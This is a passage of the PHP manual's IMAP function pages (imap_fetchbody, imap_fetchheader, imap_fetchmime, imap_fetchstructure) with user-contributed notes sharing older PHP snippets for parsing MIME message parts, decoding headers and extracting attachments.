$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de 30-Apr-2003 01:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

    // get the body of a part of a message according to the
    // string in $part
    function mail_fetchpart($mbox, $msgNo, $part) {
        $parts = mail_fetchparts($mbox, $msgNo);

        $partNos = explode(".", $part);

        $currentPart = $parts;
        while(list ($key, $val) = each($partNos)) {
            $currentPart = $currentPart[$val];
        }

        if ($currentPart != "") return $currentPart;
          else return false;
    }

    // splits a message given in the body if it is
    // a mulitpart mime message and returns the parts,
    // if no parts are found, returns false
    function mail_mimesplit($header, $body) {
        $parts = array();

        $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

        if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
            $boundary = $regs[2];

            $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
            if (eregi ($delimiterReg, $body, $results)) {
                $delimiter = $results[0];
                $parts = explode($delimiter, $body);
                $parts = array_slice ($parts, 1, -1);
            }

            return $parts;
        } else {
            return false;
        }

    }

    // returns an array with all parts that are
    // subparts of the given part
    // if no subparts are found, return the body of
    // the current part
    function mail_mimesub($part) {
        $i = 1;
        $headDelimiter = "\r\n\r\n";
        $delLength = strlen($headDelimiter);

        // get head & body of the current part
        $endOfHead = strpos( $part, $headDelimiter);
        $head = substr($part, 0, $endOfHead);
        $body = substr($part, $endOfHead + $delLength, strlen($part));

        // check whether it is a message according to rfc822
        if (stristr($head, "Content-Type: message/rfc822")) {
            $part = substr($part, $endOfHead + $delLength, strlen($part));
            $returnParts[1] = mail_mimesub($part);
            return $returnParts;
        // if no message, get subparts and call function recursively
        } elseif ($subParts = mail_mimesplit($head, $body)) {
            // got more subparts
            while (list ($key, $val) = each($subParts)) {
                $returnParts[$i] = mail_mimesub($val);
                $i++;
            }
            return $returnParts;
        } else {
            return $body;
        }
    }

    // get an array with the bodies all parts of an email
    // the structure of the array corresponds to the
    // structure that is available with imap_fetchstructure
    function mail_fetchparts($mbox, $msgNo) {
        $parts = array();
        $header = imap_fetchheader($mbox,$msgNo);
        $body = imap_body($mbox,$msgNo, FT_INTERNAL);

        $i = 1;

        if ($newParts = mail_mimesplit($header, $body)) {
            while (list ($key, $val) = each($newParts)) {
                $parts[$i] = mail_mimesub($val);
                $i++;
            }
        } else {
            $parts[$i] = $body;
        }
        return $parts;

    }
bubblocity at yahoo dot com 25-Mar-2003 05:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
    if(strlen($str1) && strlen($str2)){
        return $str1 . $separator . $str2;
    }
    else if (strlen($str1)){
        return $str1;
    }
    else if (strlen($str2)){
        return $str2;
    }
    else return '';

}
markusNOSPAM at broede dot NO_SPAM dot de 13-Aug-2002 05:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
    foreach ($obj->parts as $count=>$p)
      parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
    parse_message($obj->parts[0], $partno.".");
  else
    if (sizeof($obj->parts) > 0)
      foreach ($obj->parts as $count=>$p)
        parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com 04-Mar-2002 08:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac 18-Feb-2002 02:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com 14-Jan-2002 10:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

        //If it is type message(2)=msg envelope,
    //Not sure about this assumption : the if statement
    //double check with RFC822 on this one.

    if($this_part->type==2){
        //and there is only 1 subpart of the envelope
        //and that subpart is multipart
        //otherwise will generate excessive '.1' and
        //send wrong part_no to imap_fetchbody
                if($this_part->parts[0]->type==1){
                $this_part=$this_part->parts[0];
                }
        }

        if (count($this_part->parts)>0) {
                for ($i = 0; $i < count($this_part->parts); $i++) {
                        if ($part_no != "") {
                $newpartno = $part_no . '.' . ($i +1);
            }
                        else $newpartno = $i+1;

            $partstringary[$i] =
                GetParts($this_part->parts[$i], $newpartno);
                }//for
                $partstring = implode('|', $partstringary);

        }//if
        $partstring = concat_ws('|', $part_no , $partstring);
        //echo $partstring ;
        return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

        $msg_struct = imap_fetchstructure($mbox, $msgno);
        $partsary = explode ('.', $partno);
        $subpartstruct = $msg_struct;

        for ($i=0; $i< count($partsary); $i++){
        //Not sure about this, if assumption
        // you should probably double check with RFC822 on this one.
                if($subpartstruct->type==2){
                        if($subpartstruct->parts[0]->type==1){
                          $subpartstruct=$subpartstruct->parts[0];
                        }
                }
                $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
        }
        return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
        //Write your own function to decode,
    //or lots of examples within PHP already.
    return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
    $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
    if($substruct->type==''){
        //then this is type TEXT
        $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
        //Do the decoding
        $msg = decodemsg($msg, $struct->encoding);
        echo $msg; //or do whatever you want with it.
    }
    else{ //Not TEXT
        //Do whatever you want
        //i.e. write the attachment...etc
    }
}

</pre>
pmzandbergen at yahoo dot com 10-Jul-2001 04:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

            if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com 14-Dec-2000 11:23
With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
cleong at organic dot com 05-Apr-2000 06:19
Here's a routine that yields the part of a message with a particular MIME type:

<?php
function get_mime_type(&$structure) {
    $primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
    if($structure->subtype) {
         return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
     }
     return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
    if (!$structure) {
         $structure = imap_fetchstructure($stream, $msg_number);
     }
    if($structure) {
         if($mime_type == get_mime_type($structure)) {
              if(!$part_number) {
                   $part_number = "1";
               }
              $text = imap_fetchbody($stream, $msg_number, $part_number);
              if($structure->encoding == 3) {
                   return imap_base64($text);
               } else if ($structure->encoding == 4) {
                   return imap_qprint($text);
               } else {
                   return $text;
            }
        }
         if ($structure->type == 1) { /* multipart */
              while (list($index, $sub_structure) = each($structure->parts)) {
                if ($part_number) {
                    $prefix = $part_number . '.';
                }
                $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
                if ($data) {
                    return $data;
                }
            }
        }
    }
    return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");
?>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).


Returns header for a message

  • « imap_fetchbody
  • imap_fetchmime »
  • PHP Manual
  • IMAP Functions
  • Returns header for a message

imap_fetchheader

(PHP 4, PHP 5)

imap_fetchheader — Returns header for a message

Description

string imap_fetchheader ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

This function causes a fetch of the complete, unfiltered » RFC2822 format header of the specified message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

The possible options are:

  • FT_UID - The msgno argument is a UID
  • FT_INTERNAL - The return string is in "internal" format, without any attempt to canonicalize to CRLF newlines
  • FT_PREFETCHTEXT - The RFC822.TEXT should be pre-fetched at the same time. This avoids an extra RTT on an IMAP connection if a full message text is desired (e.g. in a "save to local file" operation)

Return Values

Returns the header of the specified message as a text string.

See Also

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

rgagnon24 dot nospam at gmail dot com 24-Jun-2010 06:52
Interesting that imap_headerinfo() does not allow a UID for the $msg_number field like all other fetching functions seem to allow.

If you want to use a UID to fetch the headers, use this two-step process:

<?php
/*
 * assumes $mbox is your stream, and $uid is set
 * properly. Proper error checking is up to you.
 */
$hText = imap_fetchbody($mbox, $uid, '0', FT_UID);
$headers = imap_rfc822_parse_headers($hText);
?>

The result is the same as the output of imap_headerinfo(), but you get to use the UID.
Jille at nomorecrap dot quis dot cx 07-Apr-2008 12:15
<?PHP
$headers=imap_fetchheader($imap, $msgid);
preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)\r\n/m', $headers, $matches);
?>

Works quite well for splitting headers,
$matches will contain 3 arrays:
$matches[0] are the full-lines (To: Jille@devnull.quis.cx\r\n)
$matches[1] will be the header (To)
$matches[2] will be the value (Jille@devnull.quis.cx)

In multi-line values the 'multilining is not stripped!'
this could be achieved with something like:
<?PHP
preg_replace('/\r\n\s+/m', '', $matches[2]);
?>
onofabio at gmail dot com 07-Mar-2008 12:18
This function ignore that some header value have multiple lines...

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>

I write this simple function....

$mbox = imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");
$mid=1 // Message id

// Get headers
$header = imap_fetchheader($mbox, $mid);

// Split on \n
$h_array=split("\n",$header);

foreach ( $h_array as $h ) {

    // Check if row start with a char
    if ( preg_match("/^[A-Z]/i", $h )) {

        $tmp = split(":",$h);
    $header_name = $tmp[0];
    $header_value = $tmp[1];

    $headers[$header_name] = $header_value;

    } else {
        // Append row to previous field
    $headers[$header_name] = $header_value . $h;
    }

}
Max Geiger 09-Mar-2007 12:59
If you call the function with the bitmask-parameter FT_PREFETCHTEXT the /Seen flag of the message will be set.
dj_doktor at upskirt dot cz 03-Apr-2005 04:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>


Fetch MIME headers for a particular section of the message

  • « imap_fetchheader
  • imap_fetchstructure »
  • PHP Manual
  • IMAP Functions
  • Fetch MIME headers for a particular section of the message

imap_fetchmime

(PHP 5 >= 5.3.6)

imap_fetchmime — Fetch MIME headers for a particular section of the message

Description

string imap_fetchmime ( resource $imap_stream , int $msg_number , string $section [, int $options = 0 ] )

Fetch the MIME headers of a particular section of the body of the specified messages.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns the MIME headers of a particular section of the body of the specified messages as a text string.

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_fetchstructure() - Read the structure of a particular message
  • imap_fetchheader() - Returns header for a message

User Contributed Notes

There are no user contributed notes for this page.


Read the structure of a particular message

  • « imap_fetchmime
  • imap_fetchtext »
  • PHP Manual
  • IMAP Functions
  • Read the structure of a particular message

imap_fetchstructure

(PHP 4, PHP 5)

imap_fetchstructure — Read the structure of a particular message

Description

object imap_fetchstructure ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

Fetches all the structured information for a given message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

This optional parameter only has a single option, FT_UID, which tells the function to treat the msg_number argument as a UID.

Return Values

Returns an object includes the envelope, internal date, size, flags and body structure along with a similar object for each mime attachment. The structure of the returned objects is as follows:

Returned Objects for imap_fetchstructure()
type | Primary body type
encoding | Body transfer encoding
ifsubtype | TRUE if there is a subtype string
subtype | MIME subtype
ifdescription | TRUE if there is a description string
description | Content description string
ifid | TRUE if there is an identification string
id | Identification string
lines | Number of lines
bytes | Number of bytes
ifdisposition | TRUE if there is a disposition string
disposition | Disposition string
ifdparameters | TRUE if the dparameters array exists
dparameters | An array of objects where each object has an "attribute" and a "value" property corresponding to the parameters on the Content-disposition MIME header.
ifparameters | TRUE if the parameters array exists
parameters | An array of objects where each object has an "attribute" and a "value" property.
parts | An array of objects identical in structure to the top-level object, each of which corresponds to a MIME body part.

Primary body type (may vary with used library)
0 | text
1 | multipart
2 | message
3 | application
4 | audio
5 | image
6 | video
7 | other

Transfer encodings (may vary with used library)
0 | 7BIT
1 | 8BIT
2 | BINARY
3 | BASE64
4 | QUOTED-PRINTABLE
5 | OTHER

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_bodystruct() - Read the structure of a specified body section of a specific message

User Contributed Notes

Anonymous 21-Jun-2013 07:52
I improved the code from this post (
http://www.php.net/manual/en/function.imap-fetchstructure.php#51497) a bit, now it handles multi embedded email correctly, and gives you a content with not marking character, like the '=' (soft line break).

<?php
//return is structured as
// $mail = array ( 'body' => ...
//          'attachment' => array() );
function _get_body_attach($mbox, $mid) {
    $struct = imap_fetchstructure($mbox, $mid);

    $parts = $struct->parts;
    $i = 0;
    if (!$parts) { /* Simple message, only 1 piece */
        $attachment = array(); /* No attachments */
        $content = imap_body($mbox, $mid);
    } else { /* Complicated message, multiple parts */

        $endwhile = false;

        $stack = array(); /* Stack while parsing message */
        $content = "";    /* Content of message */
        $attachment = array(); /* Attachments */

        while (!$endwhile) {
            if (!$parts[$i]) {
                if (count($stack) > 0) {
                    $parts = $stack[count($stack)-1]["p"];
                    $i     = $stack[count($stack)-1]["i"] + 1;
                    array_pop($stack);
                } else {
                    $endwhile = true;
                }
            }

            if (!$endwhile) {
                /* Create message part first (example '1.2.3') */
                $partstring = "";
                foreach ($stack as $s) {
                    $partstring .= ($s["i"]+1) . ".";
                }
                $partstring .= ($i+1);

                if (strtoupper($parts[$i]->disposition) == "ATTACHMENT" || strtoupper($parts[$i]->disposition) == "INLINE") { /* Attachment or inline images */
                    $filedata = imap_fetchbody($mbox, $mid, $partstring);
                    if ( $filedata != '' ) {
                        // handles base64 encoding or plain text
                        $decoded_data = base64_decode($filedata);
                        if ( $decoded_data == false ) {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $filedata);
                        } else {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $decoded_data);
                        }
                    }
                } elseif (strtoupper($parts[$i]->subtype) == "PLAIN" && strtoupper($parts[$i+1]->subtype) != "HTML") { /* plain text message */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                } elseif ( strtoupper($parts[$i]->subtype) == "HTML" ) {
                    /* HTML message takes priority */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                }
            }

            if ($parts[$i]->parts) {
                if ( $parts[$i]->subtype != 'RELATED' ) {
                    // a glitch: embedded email message have one additional stack in the structure with subtype 'RELATED', but this stack is not present when using imap_fetchbody() to fetch parts.
                    $stack[] = array("p" => $parts, "i" => $i);
                }
                $parts = $parts[$i]->parts;
                $i = 0;
            } else {
                $i++;
            }
        } /* while */
    } /* complicated message */

    $ret = array();
    $ret['body'] = quoted_printable_decode($content);
    $ret['attachment'] = $attachment;
    return $ret;
}
?>
raulggonzalez at gmail dot com 21-Sep-2010 02:54
Hello eveybody,

After reading plenty of posts (some good, some others not so good) I want to post a function to find out whether an email is coming with attachments

The function can be called passing the object returned by imap_fetchstructure() or any of its parts (recursively)

<?php
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect to mail: ' . imap_last_error());
$struct = imap_fetchstructure($inbox,$uid,FT_UID);
$existAttachments = existAttachment($struct);

function existAttachment($part){
    if (isset($part->parts)){
        foreach ($part->parts as $partOfPart){
            existAttachment($partOfPart);
        }
    }
    else{
        if (isset($part->disposition)){
            if ($part->disposition == 'attachment'){
                echo '<p>' . $part->dparameters[0]->value . '</p>';
// here you can create a link to the file whose name is  $part->dparameters[0]->value to download it
                return true;
            }
        }
    }
}
?>

Hopefully somebody can use it as well
burninleo at gmx dot net 03-Aug-2010 06:42
Use imap_errors() to get rid of sticky error messages about incorrect MIME headers.
Rui Torre rui_sharkye at hotmail dot com 02-Nov-2008 11:34
I've made this two functions to decode mime headers and so far they are working just fine decoding all headers. Please let me know if you find any error. Hope they are useful for you too.

<?php

function decode_headers($cabecalho){
        while (preg_match('/^(.*)=\?([^?]*)\?(Q|B)\?(.*)$/Ui', $cabecalho)){
            $cabecalho = preg_replace("/(\t|\r|\n)/", "", $cabecalho);
            $cabecalho = preg_replace("/\?(Q|B)\?=/Ui", "?\\1? =", $cabecalho);

            $partes_cabecalho = explode("?=", $cabecalho);

            $resultado = "";
            foreach ($partes_cabecalho as $texto){
                $texto = preg_replace("/\?(Q|B)\?\s=/Ui", "?\\1?=", $texto);
                $texto = preg_replace("/\?(Q|B)\?/Ui", "=?\\1=?", $texto);

                if (preg_match('/^(.*)=\?([^?]*)=\?(Q|B)=\?(.*)$/Ui', $texto)){
                    $partes_texto = explode ("=?", $texto);

                    $parte = descodificar_parte($partes_texto[0], $partes_texto[1]);
                    $parte .= descodificar_parte($partes_texto[3], $partes_texto[2]);
                } else {
                    $parte = $texto;
                }

                if (strtoupper($partes_texto[1]) == "UTF-8"){ $parte = utf8_decode($parte);}
                $resultado .= $parte;
            }
            $cabecalho = $resultado;
        }

        return trim($cabecalho);
    }

    function descodificar_parte($texto, $codificacao){
        if (trim($texto) == ""){ return "";}

        if (ucfirst($codificacao) == "B"){
            $texto = base64_decode($texto);
            $texto = htmlspecialchars($texto);
        } else if (ucfirst($codificacao) == "Q"){
            $texto = str_replace("_", " ", $texto);
            $texto = quoted_printable_decode($texto);
        }
        return $texto;
    }

?>
david at hundsness dot com 02-Sep-2008 11:31
Here is code to parse and decode all types of messages, including attachments. I've been using something like this for awhile now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $charset,$htmlmsg,$plainmsg,$attachments;
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // simple
        getpart($mbox,$mid,$s,0);  // pass 0 as part-number
    else {  // multipart: cycle through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // simple
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[strtolower($x->attribute)] = $x->value;
    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[strtolower($x->attribute)] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    if ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg. = trim($data) ."\n\n";
        else
            $htmlmsg. = $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg. = $data."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
phpnet,a,emailaddress,cjb,net 27-Sep-2007 04:13
Another comment to inform people about something that should really be in the function description:

imap_fetchstructure() downloads the entire email, attachments and all, rather than just the structure.
I guess it's an undocumented feature, not a bug.

I had assumed that the script would have only downloaded the amount of data that was returned, but my script downloaded a cumulative 2.5gig before i noticed.  Hopefully no-one else will have this happen.
oersoep at gmail dot com 30-Jan-2006 08:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca 04-Jan-2006 08:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk 22-Sep-2005 04:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {
        $this->structureObject = $structureInfo;

    }

    // snip....

    public function getPart($partNum) {
        $path = split("[.]",$partNum);
        $currentPart = $this->structureObject;
        foreach ($path as $key => $num) {
            $currentPart = $currentPart->parts[$num-1];
        }
        return $currentPart;
    }
}
?>
hans at lintoo dot dk 22-Sep-2005 03:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {}
    public function locatePlain() {}
    public function locateHTML() {}
    public function locateAttachments() {}
    private function checkParam($part, $type, $value) {}
    private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk 04-Jul-2005 06:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
    global $link,$msgid,$partsarray;
    //where to write file attachments to:
    $filestore = '[full/path/to/attachment/store/(chmod777)]';

    //fetch part
    $part=imap_fetchbody($link,$msgid,$i);
    //if type is not text
    if ($p->type!=0){
        //DECODE PART
        //decode if base64
        if ($p->encoding==3)$part=base64_decode($part);
        //decode if quoted printable
        if ($p->encoding==4)$part=quoted_printable_decode($part);
        //no need to decode binary or 8bit!

        //get filename of attachment if present
        $filename='';
        // if there are any dparameters present in this part
        if (count($p->dparameters)>0){
            foreach ($p->dparameters as $dparam){
                if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
                }
            }
        //if no filename found
        if ($filename==''){
            // if there are any parameters present in this part
            if (count($p->parameters)>0){
                foreach ($p->parameters as $param){
                    if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                    }
                }
            }
        //write to disk and set partsarray variable
        if ($filename!=''){
            $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
            $fp=fopen($filestore.$filename,"w+");
            fwrite($fp,$part);
            fclose($fp);
            }
    //end if type!=0
    }

    //if part is text
    else if($p->type==0){
        //decode text
        //if QUOTED-PRINTABLE
        if ($p->encoding==4) $part=quoted_printable_decode($part);
        //if base 64
        if ($p->encoding==3) $part=base64_decode($part);

        //OPTIONAL PROCESSING e.g. nl2br for plain text
        //if plain text

        if (strtoupper($p->subtype)=='PLAIN')1;
        //if HTML
        else if (strtoupper($p->subtype)=='HTML')1;
        $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
    }

    //if subparts... recurse into function and parse them too!
    if (count($p->parts)>0){
        foreach ($p->parts as $pno=>$parr){
            parsepart($parr,($i.'.'.($pno+1)));
            }
        }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
    //parse parts of email
    parsepart($partarr,$partno+1);
    }
}

//for not multipart messages
else{
    //get body of message
    $text=imap_body($link,$msgid);
    //decode if quoted-printable
    if ($s->encoding==4) $text=quoted_printable_decode($text);
    //OPTIONAL PROCESSING
    if (strtoupper($s->subtype)=='PLAIN') $text=$text;
    if (strtoupper($s->subtype)=='HTML') $text=$text;

    $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist 18-Apr-2005 06:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info 01-Apr-2005 12:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
        $struct = imap_fetchstructure($mbox, $mid);

        $parts = $struct->parts;
        $i = 0;

        if (!$parts) { /* Simple message, only 1 piece */
          $attachment = array(); /* No attachments */
          $content = imap_body($mbox, $mid);
        } else { /* Complicated message, multiple parts */

          $endwhile = false;

          $stack = array(); /* Stack while parsing message */
          $content = "";    /* Content of message */
          $attachment = array(); /* Attachments */

          while (!$endwhile) {
            if (!$parts[$i]) {
              if (count($stack) > 0) {
